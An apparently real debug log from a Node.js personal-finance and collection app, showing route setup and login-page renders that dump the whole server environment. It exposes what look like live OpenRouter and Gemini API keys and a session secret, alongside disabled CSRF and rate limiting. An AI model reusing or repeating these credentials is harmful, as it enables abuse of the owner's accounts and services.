2026-06-07T20:33:18.847Z server-connect:app options: { provider: 'security' }
2026-06-07T20:33:18.854Z server-connect:auth No login cookie found
2026-06-07T20:33:18.854Z server-connect:output identity: false
2026-06-07T20:33:18.854Z server-connect:app Executing action step restrict
2026-06-07T20:33:18.854Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-07T20:33:18.858Z server-connect:output restrict: undefined
2026-06-07T20:33:18.979Z server-connect:router Serving templateView /login
2026-06-07T20:33:18.979Z server-connect:app Executing action step identify
2026-06-07T20:33:18.979Z server-connect:app options: { provider: 'security' }
2026-06-07T20:33:18.980Z server-connect:auth No login cookie found
2026-06-07T20:33:18.980Z server-connect:output identity: false
2026-06-07T20:33:18.980Z server-connect:router Render template layouts/authentication
2026-06-07T20:33:18.980Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '45.92.84.164',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-08T20:33:18.977Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '45.92.84.164',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '45.92.84.164',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-07T21:18:31.148Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-07T21:18:31.318Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-07T21:18:31.395Z server-connect:setup:upload Upload middleware configured.
2026-06-07T21:18:31.395Z server-connect:secure CSRF Protection initialized
2026-06-07T21:18:31.397Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-07T21:18:31.398Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-07T21:18:31.399Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-07T21:18:31.399Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-07T21:18:31.400Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-07T21:18:31.401Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-07T21:18:31.401Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-07T21:18:31.402Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-07T21:18:31.403Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-07T21:18:31.405Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-07T21:18:31.406Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-07T21:18:31.406Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-07T21:18:31.406Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-07T21:18:31.407Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-07T21:18:31.407Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-07T21:18:31.407Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-07T21:18:31.407Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-07T21:18:31.408Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-07T21:18:31.408Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-07T21:18:31.408Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-07T21:18:31.409Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-07T21:18:31.409Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-07T21:18:31.409Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-07T21:18:31.409Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-07T21:18:31.410Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-07T21:18:31.410Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-07T21:18:31.410Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-07T21:18:31.410Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-07T21:18:31.411Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-07T21:18:31.411Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-07T21:18:31.411Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-07T21:18:31.411Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-07T21:18:31.411Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-07T21:18:31.411Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-07T21:18:31.412Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-07T21:18:31.412Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-07T21:18:31.412Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-07T21:18:31.412Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-07T21:18:31.509Z server-connect:router Serving templateView /
2026-06-07T21:18:31.511Z server-connect:app Executing action step identify
2026-06-07T21:18:31.511Z server-connect:app options: { provider: 'security' }
2026-06-07T21:18:31.512Z server-connect:auth No login cookie found
2026-06-07T21:18:31.512Z server-connect:output identity: false
2026-06-07T21:18:31.513Z server-connect:app Executing action step restrict
2026-06-07T21:18:31.513Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-07T21:18:31.516Z server-connect:output restrict: undefined
2026-06-07T21:18:31.651Z server-connect:router Serving templateView /login
2026-06-07T21:18:31.651Z server-connect:app Executing action step identify
2026-06-07T21:18:31.651Z server-connect:app options: { provider: 'security' }
2026-06-07T21:18:31.651Z server-connect:auth No login cookie found
2026-06-07T21:18:31.652Z server-connect:output identity: false
2026-06-07T21:18:31.652Z server-connect:router Render template layouts/authentication
2026-06-07T21:18:31.652Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '45.92.85.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-08T21:18:31.649Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '45.92.85.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '45.92.85.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-08T15:20:34.539Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-08T15:20:36.807Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-08T15:20:37.669Z server-connect:setup:upload Upload middleware configured.
2026-06-08T15:20:37.670Z server-connect:secure CSRF Protection initialized
2026-06-08T15:20:37.675Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-08T15:20:37.679Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-08T15:20:37.680Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-08T15:20:37.683Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-08T15:20:37.689Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-08T15:20:37.695Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-08T15:20:37.706Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-08T15:20:37.720Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-08T15:20:37.724Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-08T15:20:37.725Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-08T15:20:37.727Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-08T15:20:37.730Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-08T15:20:37.737Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-08T15:20:37.747Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-08T15:20:37.750Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-08T15:20:37.822Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-08T15:20:37.823Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-08T15:20:37.826Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-08T15:20:37.832Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-08T15:20:37.836Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-08T15:20:37.838Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-08T15:20:37.846Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-08T15:20:37.849Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-08T15:20:37.854Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-08T15:20:37.856Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-08T15:20:37.860Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-08T15:20:37.862Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-08T15:20:37.864Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-08T15:20:37.870Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-08T15:20:37.872Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-08T15:20:37.874Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-08T15:20:37.874Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-08T15:20:37.880Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-08T15:20:37.880Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-08T15:20:37.887Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-08T15:20:37.891Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-08T15:20:37.893Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-08T15:20:37.903Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-08T15:20:38.434Z server-connect:router Serving templateView /
2026-06-08T15:20:38.439Z server-connect:app Executing action step identify
2026-06-08T15:20:38.439Z server-connect:app options: { provider: 'security' }
2026-06-08T15:20:38.447Z server-connect:auth No login cookie found
2026-06-08T15:20:38.447Z server-connect:output identity: false
2026-06-08T15:20:38.447Z server-connect:app Executing action step restrict
2026-06-08T15:20:38.447Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-08T15:20:38.451Z server-connect:output restrict: undefined
2026-06-08T15:20:38.582Z server-connect:router Serving templateView /login
2026-06-08T15:20:38.583Z server-connect:app Executing action step identify
2026-06-08T15:20:38.583Z server-connect:app options: { provider: 'security' }
2026-06-08T15:20:38.583Z server-connect:auth No login cookie found
2026-06-08T15:20:38.583Z server-connect:output identity: false
2026-06-08T15:20:38.583Z server-connect:router Render template layouts/authentication
2026-06-08T15:20:38.584Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.55.137.181',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-09T15:20:38.580Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.55.137.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.55.137.181',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-08T15:29:19.276Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-08T15:29:19.430Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-08T15:29:19.512Z server-connect:setup:upload Upload middleware configured.
2026-06-08T15:29:19.512Z server-connect:secure CSRF Protection initialized
2026-06-08T15:29:19.514Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-08T15:29:19.515Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-08T15:29:19.515Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-08T15:29:19.516Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-08T15:29:19.516Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-08T15:29:19.517Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-08T15:29:19.518Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-08T15:29:19.518Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-08T15:29:19.521Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-08T15:29:19.522Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-08T15:29:19.522Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-08T15:29:19.522Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-08T15:29:19.522Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-08T15:29:19.523Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-08T15:29:19.523Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-08T15:29:19.523Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-08T15:29:19.524Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-08T15:29:19.524Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-08T15:29:19.524Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-08T15:29:19.525Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-08T15:29:19.525Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-08T15:29:19.525Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-08T15:29:19.525Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-08T15:29:19.526Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-08T15:29:19.526Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-08T15:29:19.526Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-08T15:29:19.526Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-08T15:29:19.526Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-08T15:29:19.527Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-08T15:29:19.527Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-08T15:29:19.527Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-08T15:29:19.527Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-08T15:29:19.527Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-08T15:29:19.528Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-08T15:29:19.528Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-08T15:29:19.528Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-08T15:29:19.528Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-08T15:29:19.528Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-08T15:29:19.634Z server-connect:router Serving templateView /
2026-06-08T15:29:19.638Z server-connect:app Executing action step identify
2026-06-08T15:29:19.639Z server-connect:app options: { provider: 'security' }
2026-06-08T15:29:19.640Z server-connect:auth No login cookie found
2026-06-08T15:29:19.640Z server-connect:output identity: false
2026-06-08T15:29:19.640Z server-connect:app Executing action step restrict
2026-06-08T15:29:19.640Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-08T15:29:19.643Z server-connect:output restrict: undefined
2026-06-08T15:29:19.785Z server-connect:router Serving templateView /login
2026-06-08T15:29:19.786Z server-connect:app Executing action step identify
2026-06-08T15:29:19.786Z server-connect:app options: { provider: 'security' }
2026-06-08T15:29:19.786Z server-connect:auth No login cookie found
2026-06-08T15:29:19.786Z server-connect:output identity: false
2026-06-08T15:29:19.786Z server-connect:router Render template layouts/authentication
2026-06-08T15:29:19.787Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '146.148.80.218',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-09T15:29:19.783Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '146.148.80.218',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
